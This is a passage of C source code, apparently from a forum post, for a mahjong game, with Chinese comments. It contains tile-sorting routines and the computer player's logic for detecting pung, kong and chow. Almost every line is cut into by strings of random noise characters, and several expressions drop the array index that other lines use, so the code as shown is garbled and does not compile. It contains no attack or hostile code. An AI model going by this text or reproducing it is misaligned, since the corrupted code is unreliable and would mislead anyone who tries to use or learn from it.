( m& g* x$ P1 L: c" Lcomputer.pp[n].k=computer.pp[j+1].k;% E# A! F; {4 D0 t$ Y/ u& Z
computer.pp[j+1].k=lingshi;
. n1 }. P, G1 r% ~u=computer.pp[n].oneorfour;" _- R9 G/ A: f: A1 E# p( t
computer.pp[n].oneorfour=computer.pp[j+1].oneorfour;6 ^1 M/ G' z0 Y4 E9 ^* F
computer.pp[j+1].oneorfour=u;
! I# e( o0 S, a: K7 q4 vu=computer.pp[n].number;4 `+ V0 u. M: l# a( i1 o
computer.pp[n].number=computer.pp[j+1].number;
* s$ _! L4 ^5 T# tcomputer.pp[j+1].number=u;" o6 h! A( A. T# ~
}: O/ q; |0 r3 e
}
8 K% ?/ ]$ _5 m5 n8 b}' N: L- j1 F! K! o0 U
void melipai()
7 V/ m6 L7 n4 Z: ]9 R5 M" y% x* F{ int n,j,u;" {! Y! q+ l9 k- x* @8 {
int *lingshi;
. K$ P% r5 d7 [: H& @! R2 G8 Ufor(n=0;n&lt;me.m;n++)
* ]' ^% y4 R3 `8 }6 N: e# qfor(j=n;j&lt;me.m;j++)# y0 Q0 R, T: |. I3 T+ o% y/ u
{( X+ K0 D4 I& X& U9 k
if(me.pp[n].number&gt;me.pp[j+1].number)
4 N* w# y; p; A5 y" z2 y{
" c9 V) B# F' s0 \0 ilingshi=me.pp[n].k;/ H& x4 u/ v9 ], j$ k
me.pp[n].k=me.pp[j+1].k;
- O. z! Y2 R1 e, A8 @5 }; F* A/ Y& qme.pp[j+1].k=lingshi;7 N+ `! y' f1 @/ p& O3 G; T
u=me.pp[n].oneorfour;
" k1 B3 j* r) I( m1 e% T& w$ Fme.pp[n].oneorfour=me.pp[j+1].oneorfour;$ G5 F+ R  x( Z+ k5 C8 _* s- l+ |
me.pp[j+1].oneorfour=u;- u6 Y3 f% ]. l* }# V( q
u=me.pp[n].number;
) R9 z$ k( a& _! Y0 W. yme.pp[n].number=me.pp[j+1].number;
) d4 i) [0 O/ W! y7 K' ~" Hme.pp[j+1].number=u;
' t. B  g* r) R}& }9 F0 s; T7 `& m- U- ?
else
  ~$ O4 a" C9 n: n) }+ ]if(me.pp[n].number==me.pp[j+1].number)
2 Q3 K8 J) ~$ \if(me.pp[n].oneorfour&gt;me.pp[j+1].oneorfour)
: Q) c: J" K+ t8 n{
& \# D0 {+ o2 U% f& P; O+ Plingshi=me.pp[n].k;/ z& ^, i5 X. X. u
me.pp[n].k=me.pp[j+1].k;4 G% b6 |" ^) w' g
me.pp[j+1].k=lingshi;
+ U* t& C1 ?: r5 ^- ]1 l2 Du=me.pp[n].oneorfour;
" U- c9 R6 t, B% v" ?. ]me.pp[n].oneorfour=me.pp[j+1].oneorfour;: o3 j) Y8 W5 W! s: i% a& o5 S
me.pp[j+1].oneorfour=u;" J; `, P' n* R- P- `( p! B% e/ U' C
u=me.pp[n].number;
1 z& o$ a: f  z+ E8 t9 K0 Bme.pp[n].number=me.pp[j+1].number;) D, t# {1 \, J8 \
me.pp[j+1].number=u;1 T) V9 b& X9 G& o  G. E
}- o. C' }9 l, S9 X1 d: o0 Y% @
}- ~! ^* c" N  c3 u5 E
}3 p  ]& f9 w0 [/ f! q
void rgzn(int c) /*本程序涵数的核心针对电脑的牌*/) d2 ]2 M7 ]& \5 d5 y7 P
{ int b=0,lg,lgg,logo,logoo,pg=0,gp=0,cs=0,f=0;8 Y, y% t+ {" g7 {( e
if(me.pp[c].number&lt;=35 &amp;&amp; me.pp[c].number&gt;=0)8 F- b: d; c" W/ D) o5 H2 u
{% W; H8 D9 I; e1 s9 A8 U! W/ W- {
logo=1;4 f& Q2 \  W: W, U% ]% N+ [
if(me.pp[c].number&lt;=3 &amp;&amp; me.pp[c].number&gt;=0)( F' ~4 X' A2 Q" {' l; j
logoo=1;8 \6 n+ }: s3 p& h1 j
else if(me.pp[c].number&lt;=7 &amp;&amp; me.pp[c].number&gt;=4)
/ ]+ `! n" j: S" g8 ]4 o7 Blogoo=2;% A5 u) p9 t& C2 b5 k  X3 o
else if(me.pp[c].number&lt;=11 &amp;&amp; me.pp[c].number&gt;=8)
4 i1 y* n/ n& }5 A2 n5 Q; M6 llogoo=3;
* I0 P" |6 b; a$ M. K' z) Y' Gelse if(me.pp[c].number&lt;=15 &amp;&amp; me.pp[c].number&gt;=12)% r7 K, ?7 E/ j9 R" x4 \+ S
logoo=4;+ i  X3 ^+ r4 B+ J8 M1 N
else if(me.pp[c].number&lt;=19 &amp;&amp; me.pp[c].number&gt;=16)
- h7 d- b: s) f8 t3 qlogoo=5;
3 t' {2 l+ B0 r$ C. nelse if(me.pp[c].number&lt;=23 &amp;&amp; me.pp[c].number&gt;=20)
1 y7 `; l4 @2 y- |logoo=6;% g6 S3 ]/ y+ s1 c7 s% U
else if(me.pp[c].number&lt;=27 &amp;&amp; me.pp[c].number&gt;=24)- a6 p. ?  W8 S6 l: E2 o, C6 ^
logoo=7;/ P# E% x9 M3 B3 l1 V: j/ k
else if(me.pp[c].number&lt;=31 &amp;&amp; me.pp[c].number&gt;=28)( E9 {; y; y! R, O" W
logoo=8;$ d  \- o& {' E
else if(me.pp[c].number&lt;=35 &amp;&amp; me.pp[c].number&gt;=32)% j6 Z7 Z$ j; E# H% ]2 l- ^
logoo=9;
  W4 E! u5 [5 F- w! a: ~( @- N}0 M% \! o* t0 Q- C
else if(me.pp[c].number&lt;=71 &amp;&amp; me.pp[c].number&gt;=36)
  H9 ?/ @& }0 H# m% l5 f. l{6 d6 Y. n: o( z3 L  t. p
logo=2;) d0 K+ a0 O* w
if(me.pp[c].number&lt;=39 &amp;&amp; me.pp[c].number&gt;=36)
9 {) j# Y5 I8 V1 U7 T: z, Xlogoo=1;
4 G4 h. b& M5 t6 k3 oelse if(me.pp[c].number&lt;=43 &amp;&amp; me.pp[c].number&gt;=40)( |1 K6 ?& Y- `1 x, w) y4 Y
logoo=2;
+ t) ~3 @1 l( ?! g" L3 Gelse if(me.pp[c].number&lt;=47 &amp;&amp; me.pp[c].number&gt;=44)% b% D! @$ U+ u6 ?
logoo=3;# e( N9 C5 [. K5 x
else if(me.pp[c].number&lt;=51 &amp;&amp; me.pp[c].number&gt;=48)  ~2 Q* r  ]  ?/ I2 Z
logoo=4;5 g; P% N7 v- R* u
else if(me.pp[c].number&lt;=55 &amp;&amp; me.pp[c].number&gt;=52)
: l& I# e! z" W! Plogoo=5;
! g1 o. l+ K% G$ u- Pelse if(me.pp[c].number&lt;=59 &amp;&amp; me.pp[c].number&gt;=56)( Y* |) N% j) C+ A. ]$ O- U5 m( h
logoo=6;
. o. J; y  ]! E. F# W! Aelse if(me.pp[c].number&lt;=63 &amp;&amp; me.pp[c].number&gt;=60)- L) y1 T. X" X* s
logoo=7;
5 L+ ~# h. M; t- B' U! gelse if(me.pp[c].number&lt;=67 &amp;&amp; me.pp[c].number&gt;=64)% Y7 R* G9 N; S. ~$ @5 Y$ O- ^1 r
logoo=8;0 Y. z5 ~! M/ P" Z- f
else if(me.pp[c].number&lt;=71 &amp;&amp; me.pp[c].number&gt;=68)! Y3 e; V* _% q; b) }
logoo=9;
7 k2 i2 t& r/ T% [/ a8 t- {}" n9 \& d+ ~6 [9 Q0 F1 }
else if(me.pp[c].number&lt;=107 &amp;&amp; me.pp[c].number&gt;=72)
% ~6 |6 E) n8 d. i{
6 v% K: ?! r! M% [1 Ilogo=3;
3 o: s; v( D7 o4 [3 C/ {2 F8 U) |if(me.pp[c].number&lt;=75 &amp;&amp; me.pp[c].number&gt;=72)
% x+ m: ]1 ^4 d- q! G4 ]logoo=1;% R/ z  `2 {! k- x* ?% ?' c
else if(me.pp[c].number&lt;=79 &amp;&amp; me.pp[c].number&gt;=76): U& x/ r! @5 s& R1 Z3 k/ l* i5 R
logoo=2;
1 k* s! J/ Y: X5 b; `else if(me.pp[c].number&lt;=83 &amp;&amp; me.pp[c].number&gt;=80); x! a) O( w* J2 v: _5 r1 j
logoo=3;% X! h) N1 x  ^* x/ k
else if(me.pp[c].number&lt;=87 &amp;&amp; me.pp[c].number&gt;=84)
# S; E& j8 v; hlogoo=4;
2 K7 g% k0 h+ Velse if(me.pp[c].number&lt;=91 &amp;&amp; me.pp[c].number&gt;=88)+ S1 D% e4 V' Z5 q$ w$ t2 l
logoo=5;
) t" S% A7 b; ^& v; Welse if(me.pp[c].number&lt;=95 &amp;&amp; me.pp[c].number&gt;=92)$ [. A6 ~) z/ _  t' V
logoo=6;1 P  \( z2 d" ^  g+ K
else if(me.pp[c].number&lt;=99 &amp;&amp; me.pp[c].number&gt;=96)
: \& M1 a7 h3 V, u$ k2 n; }logoo=7;
/ I6 g2 w. b3 ]- G$ T/ Melse if(me.pp[c].number&lt;=103 &amp;&amp; me.pp[c].number&gt;=100)9 n% b+ H$ W: m0 d, j3 c6 v
logoo=8;
" S) t$ w" A1 `) Ielse if(me.pp[c].number&lt;=107 &amp;&amp; me.pp[c].number&gt;=104)" c# q# J0 M- c2 f
logoo=9;
" u  q3 v: z, b+ a}/ q, B, W3 h/ `1 D
else if(me.pp[c].number&lt;=135 &amp;&amp; me.pp[c].number&gt;=108)  Z% ~. V$ M; F) e9 p. x
{
4 s) a( k. N& Z: R0 k) nlogo=4;6 m$ B: H2 m6 ?
if(me.pp[c].number&lt;=111 &amp;&amp; me.pp[c].number&gt;=108)3 O- @/ T8 W5 Q3 O: T9 d( N) S
logoo=1;8 Y: H* v! I7 _! ^; _1 ^
else if(me.pp[c].number&lt;=115 &amp;&amp; me.pp[c].number&gt;=112)( g# F, k1 P2 A% C4 B) I- a
logoo=2;
; Z" ~$ \0 f4 I8 K  y& D- |+ L, helse if(me.pp[c].number&lt;=119 &amp;&amp; me.pp[c].number&gt;=116)
2 a0 r! }( F9 s7 Rlogoo=3;
4 P5 Q8 z! ?9 Telse if(me.pp[c].number&lt;=123 &amp;&amp; me.pp[c].number&gt;=120)$ q1 q+ @9 I2 T7 v! F
logoo=4;
0 V. \+ Y8 v8 }" }else if(me.pp[c].number&lt;=127 &amp;&amp; me.pp[c].number&gt;=124)
3 A& ]9 Y" D5 D6 L( M$ Klogoo=5;+ a2 m: _7 O6 o7 \% U; {% R/ z
else if(me.pp[c].number&lt;=131 &amp;&amp; me.pp[c].number&gt;=128)
" f* u. H# R. j6 P! E1 xlogoo=6;$ H/ a9 h9 y# K# M* T% }
else if(me.pp[c].number&lt;=135 &amp;&amp; me.pp[c].number&gt;=132)/ e5 @4 k, L2 x) v1 h# S2 S
logoo=7;
( o+ e2 {% V  H' @}! E9 T- O2 d/ c! m
while(b&lt;=computer.m)
0 F4 O  M! f- t# Q* X{$ p8 b6 A: b) h. A
if(computer.pp.number&lt;=35 &amp;&amp; computer.pp.number&gt;=0) /*假定电脑经过分析后出了第一张牌*/
6 R* T' R5 z5 M3 @/ J' j{3 t2 K- u  j2 G6 Y- w& V
lg=1;
( V) ?2 w& }0 O& ^0 Y' [computer.pp.d[0]=1;
# T' @& D4 k( qif(computer.pp.number&lt;=3 &amp;&amp; computer.pp.number&gt;=0)- u2 v1 k& O* |4 r1 N! k: S) _
{
* c, i/ S% }* ^6 llgg=1;- ?" A5 B! ?7 L5 r
computer.pp.d[1]=1;; |  A" W6 r% z  ~2 Q* D1 _
}
( V* H& i" y6 o8 {) n' D$ ~# [else if(computer.pp.number&lt;=7 &amp;&amp; computer.pp.number&gt;=4)
$ s1 c; r7 q$ t; Q{: ]( ~6 q! T! h; N" S3 ]
lgg=2;
- @, y+ ^- F$ r3 z% j" t$ z( Ucomputer.pp.d[1]=2;# x+ C+ P& f3 d* O
}4 ~: t: z9 C/ k: ?
else if(computer.pp.number&lt;=11 &amp;&amp; computer.pp.number&gt;=8)
" y& m1 @% c: b; o6 s- J- C{+ K* k1 t2 y- U4 E, T  |9 Y- R3 x
lgg=3;
" l1 K4 w% P2 D1 P* Mcomputer.pp.d[1]=3;$ O' M4 W  ^) `# i& w2 @# I& y1 C
}
$ f% b1 [; P5 O/ a# O6 S: felse if(computer.pp.number&lt;=15 &amp;&amp; computer.pp.number&gt;=12)! X9 D+ g) X; _  K# ?' r9 w+ f! e2 O
{
0 E7 u7 I! M+ W6 M3 @# K& plgg=4;
* v" P( @: ^6 O9 v# U8 _computer.pp.d[1]=4;3 v: k* F5 }% `: q5 e
}
* Z$ t1 h7 I( A. f- T* @' k5 `else if(computer.pp.number&lt;=19 &amp;&amp; computer.pp.number&gt;=16)$ g4 t* z1 ~/ g# t/ e( n4 R9 q
{1 b/ C  T' z' s; F0 q
lgg=5;1 E$ g; J# A/ o, U0 n: H
computer.pp.d[1]=5;/ m0 X( A1 H7 [1 {
}9 _  [& F) ^. G' S8 y
else if(computer.pp.number&lt;=23 &amp;&amp; computer.pp.number&gt;=20)) S  E# `1 p& w  F% d6 A. b' g- q
{- ^5 s' y" o. |  \
lgg=6;# \5 a: I8 S& o0 }9 g
computer.pp.d[1]=6;
+ W" {! y$ r1 A; I}
3 ^( j/ f6 w8 m% Eelse if(computer.pp.number&lt;=27 &amp;&amp; computer.pp.number&gt;=24)' ^) L3 a$ G0 `; E
{' ?8 G/ S  b( w! F6 d
lgg=7;5 s( e8 w8 {+ p" q
computer.pp.d[1]=7;
& o$ k+ ?. O- h9 s; W}% I; B5 {$ B, n4 h
else if(computer.pp.number&lt;=31 &amp;&amp; computer.pp.number&gt;=28), q" p& m) Q. ?8 h+ L" P1 o
{$ K* H2 c& E. G6 Y- x# a/ m
lgg=8;/ p6 u) ~% D; n4 X$ b& I
computer.pp.d[1]=8;# `* n- @& u5 s7 y; N
}- |0 t- x0 G8 _. S
else if(computer.pp.number&lt;=35 &amp;&amp; computer.pp.number&gt;=32)
: ~+ C2 t/ e- k4 E9 u{7 A7 t6 l2 c8 j
lgg=9;
% P. T& g2 L0 U. x1 vcomputer.pp.d[1]=9;
; j& n2 H& Z/ Z. x. [}
) t, n  p; _; Z7 j/ y}
) o. T) i/ k6 s, m3 b. celse if(computer.pp.number&lt;=71 &amp;&amp; computer.pp.number&gt;=36)
3 {; s, X) O* e; D{, k9 C( |8 m6 L) n  e3 `+ h# N
lg=2;
# q" T- _% v: _computer.pp.d[0]=2;
5 [, [+ u$ T( |) V# Gif(computer.pp.number&lt;=39 &amp;&amp; computer.pp.number&gt;=36)
# R( s3 R) A9 H. n{- f- q1 x6 o, ~/ o& W: @/ V: l
lgg=1;
1 I" q$ o$ L8 K1 d( a$ v9 S5 ^$ O. vcomputer.pp.d[1]=1;, z) Z  ?  f0 H
}
0 S1 V6 v2 M& @/ l& B* helse if(computer.pp.number&lt;=43 &amp;&amp; computer.pp.number&gt;=40)
" o: C6 s# C& A& ?2 F{; }7 B& d2 Q8 m; \- ^2 p
lgg=2;) v; ]/ p: t, f4 e# l( D
computer.pp.d[1]=2;- x; _  f8 m4 d& L
}# A7 r+ f/ ~6 G) B) \1 x+ x
else if(computer.pp.number&lt;=47 &amp;&amp; computer.pp.number&gt;=44)
: z. V2 }7 _+ [' P! d$ H& A( J{
5 [  {6 [5 r1 T+ G; ylgg=3;
9 I  d. I9 }+ G% z& S1 N  X) y# [! h+ y* [computer.pp.d[1]=3;
. V- h$ ~  q" \) a}3 u$ a' B# u/ j8 M* B8 }( i* h
else if(computer.pp.number&lt;=51 &amp;&amp; computer.pp.number&gt;=48); k9 \& {2 @. U# z3 Z) g
{' _  p; _3 P) C+ S& n& V
lgg=4;
0 ^3 S/ S$ @* gcomputer.pp.d[1]=4;
4 l/ [5 e5 F1 H7 \5 U, z% c* _}
, c4 H# X2 }+ Q4 J9 \else if(computer.pp.number&lt;=55 &amp;&amp; computer.pp.number&gt;=52)2 s: A) R) c- D
{
' \5 m, l9 y' V4 G3 K; m5 f( Rlgg=5;% d. J7 \8 J1 m* p) z! M
computer.pp.d[1]=5;! p" V; C4 c- d" m
}" n9 b: J, D5 i
else if(computer.pp.number&lt;=59 &amp;&amp; computer.pp.number&gt;=56)3 c) q) Q% |" t( K6 @
{
/ a- d5 j- x: G0 X0 G% e  xlgg=6;
; m7 l8 m: ?3 f& X6 lcomputer.pp.d[1]=6;
6 H4 p! c, f/ g6 Q& U}: w8 [. }) B1 W/ D) z  g
else if(computer.pp.number&lt;=63 &amp;&amp; computer.pp.number&gt;=60)8 e. j' w- N( c
{
( \7 U8 f& Y( s6 a" p# t/ Ilgg=7;
; `  ^5 P3 o& T# b, i1 Q9 Ycomputer.pp.d[1]=7;
% t. e4 I7 b/ R) t}
+ p1 m7 b1 ^  Yelse if(computer.pp.number&lt;=67 &amp;&amp; computer.pp.number&gt;=64)
- ?1 ~% N% A+ C& ^( ?{
' M. |7 B+ _7 b& Y: ]( {1 Ulgg=8;
- [/ f3 Y' M7 `4 {7 ]7 {computer.pp.d[1]=8;3 a: t; u- \% U9 ^8 c* U( c
}
2 _$ k- F2 M/ Nelse if(computer.pp.number&lt;=71 &amp;&amp; computer.pp.number&gt;=68)& m8 m7 p( Z& A* \$ {7 V6 u  o
{8 e$ I: _& K! N! f0 \6 X4 E7 [% @
lgg=9;
, d4 \0 \' S5 S4 scomputer.pp.d[1]=9;/ @1 t: j1 x1 q" `! ]
}3 o. c9 E: a$ ~8 W1 J& c
}5 _( G" _( I, A2 l% M% L1 a- g
else if(computer.pp.number&lt;=107 &amp;&amp; computer.pp.number&gt;=72)
- D; X, B% S6 I6 \! s* ^8 b$ M{9 b; z4 B% z9 R# D) N6 m( h
lg=3;
; W7 w  T& e+ q% R, e2 [$ Kcomputer.pp.d[0]=3;" W9 T1 o6 C& q2 ^* ^
if(computer.pp.number&lt;=75 &amp;&amp; computer.pp.number&gt;=72)6 R) \2 N* m' S7 n) a! x( i& s
{
" g3 e+ Q; y1 x; {/ \8 q( D* Vlgg=1;$ W, P6 [, t* W6 }6 x! A% h" N
computer.pp.d[1]=1;
) V9 k4 y; C) s8 ~& q5 V& s}: E5 _* c. B' o' R6 E
else if(computer.pp.number&lt;=79 &amp;&amp; computer.pp.number&gt;=76)3 t2 f$ o. `/ E" Y3 Q  c3 [
{. H% P1 t5 V/ Q, Z
lgg=2;. h6 i+ X! c" {) z* ]
computer.pp.d[1]=2;
' ]4 p, ?  g3 {}2 S9 `& H$ N! Y2 J, J# k: X& z. B
else if(computer.pp.number&lt;=83 &amp;&amp; computer.pp.number&gt;=80)' `" ~$ o1 P2 U2 d( t  J  J% \' i
{
* e8 I& A* B2 Z" b; blgg=3;
+ s, t4 N# E  A) Ecomputer.pp.d[1]=3;
8 ~1 p6 m; v* Q" a6 J% b; G% f8 j" ~}% Y' e; m- Q$ h# C
else if(computer.pp.number&lt;=87 &amp;&amp; computer.pp.number&gt;=84)
" @& W+ z9 [* W5 n& [8 T; {{
+ B$ V. \- D7 i1 A5 x5 f4 Algg=4;
# _# w5 w9 H+ J+ }* acomputer.pp.d[1]=4;! i- o7 G5 T5 o4 a% Y
}2 I* G# I# m/ |3 ?& \
else if(computer.pp.number&lt;=91 &amp;&amp; computer.pp.number&gt;=88)
1 _! {$ P( y! ?; }: c4 `{
3 e! M& @+ E8 o' |3 \lgg=5;
/ V3 B3 Y; z  T5 _0 kcomputer.pp.d[1]=5;
4 I% r) C' }( I) u}% U. k# r! k+ N, [( S$ D4 v
else if(computer.pp.number&lt;=95 &amp;&amp; computer.pp.number&gt;=92)
) w" H$ l& i; r+ O( f& t5 h{
4 m  p$ K' t9 n/ u2 H0 l# mlgg=6;
) I9 P" o! s# q0 l% w- N) [0 Z, Ocomputer.pp.d[1]=6;) q, L' E- K2 c( P- s* p* n: @6 b
}
# D1 Q, F* ]# {5 F2 @1 O: T) gelse if(computer.pp.number&lt;=99 &amp;&amp; computer.pp.number&gt;=96)
1 b* |, e  l9 s/ z" q* X( _/ \{/ A( a. i3 L/ R2 L5 k& t8 M
lgg=7;" N1 p9 r0 B2 o! j! b
computer.pp.d[1]=7;: {/ z9 y# |8 h; k, Y$ b( h/ a
}
! B  T% a$ l0 t7 _. g& Gelse if(computer.pp.number&lt;=103 &amp;&amp; computer.pp.number&gt;=100)
' V9 J% ?, K: t1 ]+ Z* b{
  Y/ H7 q3 d: A( Clgg=8;
1 y. F  [, |+ i9 d* C5 Ccomputer.pp.d[1]=8;: D) f$ f/ b  ?  U( v
}
% G$ N5 S+ L$ X2 _; eelse if(computer.pp.number&lt;=107 &amp;&amp; computer.pp.number&gt;=104), S& b& @4 W5 m9 ~% I9 f
{
0 A* r* C+ n$ D. J, i+ Xlgg=9;/ p% }4 g$ o% n- ~
computer.pp.d[1]=9;& i0 _2 c& ~9 Q) x) A, h
}
# }& j- ]& b3 q0 _3 s5 Z& x}
4 K( F: S1 C4 h! i! @' h/ ielse if(computer.pp.number&lt;=135 &amp;&amp; computer.pp.number&gt;=108)7 D  ?. {7 }) B, y) v
{* }$ T' n$ m/ O. k+ z- i: M0 ?
lg=4;
6 z6 M" U* p" m: Y' b& scomputer.pp.d[0]=4;
" ?: K, ^, u: u+ [, W$ g' Y* m- }if(computer.pp.number&lt;=111 &amp;&amp; computer.pp.number&gt;=108)
- d  ?. w  X4 H{
; a# _  {' f: R9 G  E# k- Algg=1;5 i0 {9 h+ L; l. G& J- |4 E8 l) G7 c
computer.pp.d[1]=1;
. _3 V# t+ d+ Q}+ X5 L4 A" j3 v. _' e7 {; t
else if(computer.pp.number&lt;=115 &amp;&amp; computer.pp.number&gt;=112)
2 T, A1 a( F( o% q6 N# K{
" H6 j* _% {5 y$ Llgg=2;
) I+ V$ Y- p! w2 }9 |6 F9 Bcomputer.pp.d[1]=2;
7 D5 N- ^8 F7 Q1 [/ N2 K}0 o/ W" ]( m6 {; M* }
else if(computer.pp.number&lt;=119 &amp;&amp; computer.pp.number&gt;=116)+ j* w1 y5 D9 g! s
{2 ^7 M+ }, E# `& Z( e7 t! Y
lgg=3;
# T! Y& G- E$ ]& z4 ^- bcomputer.pp.d[1]=3;) r( t) P3 w$ v
}
) L8 |/ \3 \+ {9 o+ f: Pelse if(computer.pp.number&lt;=123 &amp;&amp; computer.pp.number&gt;=120)
3 X' _5 m9 v" X! i$ `6 N, }# B{+ O* O: `0 M/ ?. J, v# Z
lgg=4;! c& J# ]: T% {& S& y1 U
computer.pp.d[1]=4;# _2 o! z/ e' T* N
}
4 F5 `* ~; s6 C- [1 ?, P  e3 Belse if(computer.pp.number&lt;=127 &amp;&amp; computer.pp.number&gt;=124)5 s9 ]4 I: F5 U! y
{4 v: Y4 L7 ?, @2 T; V
lgg=5;
# E( j( v7 z; I* R9 f1 {computer.pp.d[1]=5;
3 a+ V. B3 r/ w- o; K; T' E1 A}  z* Y% v# b& S/ V) j
else if(computer.pp.number&lt;=131 &amp;&amp; computer.pp.number&gt;=128)
8 g/ [* U) y9 s2 p{
. O& J  u/ D5 y1 w4 Glgg=6;/ |, d; t! W; s: u
computer.pp.d[1]=6;% ~' j* k2 s* ?* P/ Z6 n! ~8 d* z
}, O. r! ^$ e+ @" _
else if(computer.pp.number&lt;=135 &amp;&amp; computer.pp.number&gt;=132)7 l6 @. s# D& @
{) ?( o7 [" [# @" }& y: P) n7 x
lgg=7;# x4 ?) |/ O6 V$ t$ h* |( A
computer.pp.d[1]=7;- ], b% d; v$ K9 d1 x; _2 ~0 z7 V
}
4 h' }- I- {3 r' T( ^' q8 ?}8 s. }" l1 ^% X. \

* L5 E" P) o- A. X2 dif(logo==lg) /*如果相等的话,那再进一步的判断,乓杠的判断*/
$ ?  T! d8 y' J) {1 Rif(logoo==lgg)% e" _5 X% s# ?1 \% v5 ]* S
pg++;$ z- G5 K2 \" H- k2 W
ch.lg=lg; /*保存电脑手里的每张牌的信息*/! D. t2 U2 b0 J0 [6 O. |
ch.lgg=lgg;
5 ~& |: G2 B! S1 glg=0;
/ }1 g; c7 u. [( s( Q! p# ^lgg=0;1 Y' y3 ]& P0 y" v+ A
b++;  C1 f+ ^4 d6 H1 Z! `
}7 B0 c3 E" N2 Q
if(pg==2) /*乓*/
$ T- V0 j" z7 u* V{
% l' X( r$ q2 i8 Y# G7 g- L
( {  I# g  ~1 s( w' }1 o0 ?sing=1;, [, E1 o8 J: z2 B
b=computer.m;% Z/ B) h* A: Y; `
while(b!=-1)
' @6 V; f- ^5 G# I* a2 U! \. N. u{3 P# c- v4 K! A# s& a0 K7 D  o4 n
if(strcmp(me.pp[c].k,computer.pp.k)==0)
( O$ x, A& d5 M! ~4 w9 Xcomputer.pp.p=1;
, z- Y7 [; l5 t8 P- ?) G* \$ A, R
0 U" J- ?2 A1 A, ?; ib--;( I( ^& C- V: _
}! x) K( V& f4 ]7 ~; I
}4 y. c9 c% Q5 g% Q
if(pg==3) /*杠*/
2 x, y" `& a7 E% c) h& t6 q{
  n) t; G* F7 N# ~; r: g% p0 ?( Y7 d/ U2 g# y
sing=2;! G9 L" l5 A4 e
b=computer.m;
( H* K! ]! ^3 g: Hwhile(b!=-1)
& d: k, E4 B; w/ k2 O+ `{% l6 q" A5 N# r1 ?5 C
if(strcmp(me.pp[c].k,computer.pp.k)==0)
, v0 _5 r( H2 O: z9 z8 Zcomputer.pp.g=1;
: A+ R5 o) S$ B5 sb--;* `2 T( W) \- c  b& O
}) x2 u8 A7 g' }/ |. p- M" H$ g
}
: a9 H. `4 N" f: P4 Pf=0;
" v2 Z8 j1 Y. ^, q7 i) \  ^6 E) G( X! qwhile(f&lt;computer.m) /*吃的判断*/
6 j! a" y& z+ ]/ D- O{ if(ch[f].lg==logo &amp;&amp; ch[f].lg!=4)
9 K( A8 o( c$ u{
# S7 M: {! r% @# C# w; u4 Iif(ch[f+1].lgg-ch[f].lgg==1) /*顺吃*/2 Z7 t# z- F7 T* h/ p, K/ Z
if(ch[f].lgg-logoo==1)
! G/ F3 H" e4 t( R$ n1 Y{
% Q7 ^1 z: }2 B0 h' n% Ygp++;5 y- @! _: l% b! s
computer.pp[f].c=1;
# T1 U( `1 v; o4 j. i) H; I7 Bcomputer.pp[f+1].c=1;
* R$ \7 B. {8 a) f7 s& K3 I}
  {0 d/ W  v6 K* Wif(ch[f].lgg-ch[f+1].lgg==-1) /*逆吃*/
$ v1 e. x0 _# e3 x! t% H2 Oif(ch[f+1].lgg-logoo==-1). n. _5 h4 [- R& c2 K) T' |' Q
{
: U+ |) u  Y4 f  T+ i5 dgp++;
5 X1 h3 p9 f8 k2 S9 jcomputer.pp[f].c=1;/ {! V! Y1 h  g; O  V
computer.pp[f+1].c=1;
/ Y: g" P; N4 d}1 ~7 {/ `/ ]  u* [
if(ch[f].lgg-logoo==-1) /*中吃*/1 t9 T- f9 n( J! x
if(ch[f+1].lgg-logoo==1)
7 D( K) `( V# L" M  F  _{
9 k; r5 p2 @6 e4 p! F$ Cgp++;0 d5 b6 r! O* o9 \
computer.pp[f].c=1;# l8 K* O8 A( V4 R7 }. F% N
computer.pp[f+1].c=1;
/ A1 P6 B; h# t" b! M. Z0 S- A3 l0 V}' ?$ O: n( ?$ r. w/ |
if(gp==1)
6 {8 k  k1 O* F) j  t+ v, l9 Abreak;
+ [$ }2 B! z7 D/ B4 v! M& O}$ R' J5 D. ~* e' a/ w! \
f++;  q" x+ G4 d& G- `/ V9 B* j
}+ F; D+ x5 o! g4 ~# _9 ~- k
if(gp==1)  ?- l  |+ O7 E5 i% e. T8 \
{sing=7;6 m5 G( i9 _7 `2 _1 l/ X, Q
6 K4 _) T1 |* b1 y% h. q; B. Y0 M$ S% T
}% I5 q1 [, B6 V$ F: m
pg=0;
) p/ Y- a0 [7 S  H8 H1 ygp=0;+ W! V5 {' \$ y6 E; Z- x, @
b=0;
4 O9 `7 k0 Z: U3 A. R  |}
: x) m2 O: T( ~+ x2 T& T+ X9 b! Cvoid rgznme(int c) /*本程序涵数的核心针对我的牌*/
: u+ e$ }# \1 |{ int b=0,lg,lgg,logo,logoo,pg=0,gp=0,cs=0,f=0;
6 i) W( W. s6 d' `: L4 F$ Kif(computer.pp[c].number&lt;=35 &amp;&amp; computer.pp[c].number&gt;=0)
" c, Q/ F1 o  K1 V' ~{. S) ~* w% B4 d
logo=1;# _+ c  U+ r. c' }
if(computer.pp[c].number&lt;=3 &amp;&amp; computer.pp[c].number&gt;=0)5 w% c1 }+ c) W4 E3 x) c; R' N
logoo=1;% H6 L1 e! Y# |: Y0 q- S7 g- h$ b
else if(computer.pp[c].number&lt;=7 &amp;&amp; computer.pp[c].number&gt;=4)) E. @' v( ], j" j
logoo=2;. [, b, _  t* x& ]# X
else if(computer.pp[c].number&lt;=11 &amp;&amp; computer.pp[c].number&gt;=8)
& Q4 a5 |' p$ X9 k  d! J/ Dlogoo=3;% N  B% T( y. s2 a" G, M
else if(computer.pp[c].number&lt;=15 &amp;&amp; computer.pp[c].number&gt;=12)
7 ~. w/ i5 p. r, j- Y$ rlogoo=4;0 `+ J( w! ~2 a3 [. ^1 P
else if(computer.pp[c].number&lt;=19 &amp;&amp; computer.pp[c].number&gt;=16)2 C9 s" P8 v3 a$ r
logoo=5;
( m8 T+ a: v8 B# `$ Xelse if(computer.pp[c].number&lt;=23 &amp;&amp; computer.pp[c].number&gt;=20)$ J& h, O' i* @# r% n
logoo=6;
- J( P3 a2 ?3 s; n( j* W' {' o5 Xelse if(computer.pp[c].number&lt;=27 &amp;&amp; computer.pp[c].number&gt;=24)$ p5 u) }# o1 ?% G6 e/ z8 o
logoo=7;& N: Z8 N( m8 C: S- a
else if(computer.pp[c].number&lt;=31 &amp;&amp; computer.pp[c].number&gt;=28)7 t, Z. E# N9 m7 r
logoo=8;
" j" u# v8 X6 ~: s/ [$ t0 U1 Y( aelse if(computer.pp[c].number&lt;=35 &amp;&amp; computer.pp[c].number&gt;=32)
1 Q% v  S( u8 @/ n: Nlogoo=9;' f/ t0 n! \9 R4 \  `" W
}8 v, P  _) ^8 d/ y/ {+ Q2 q
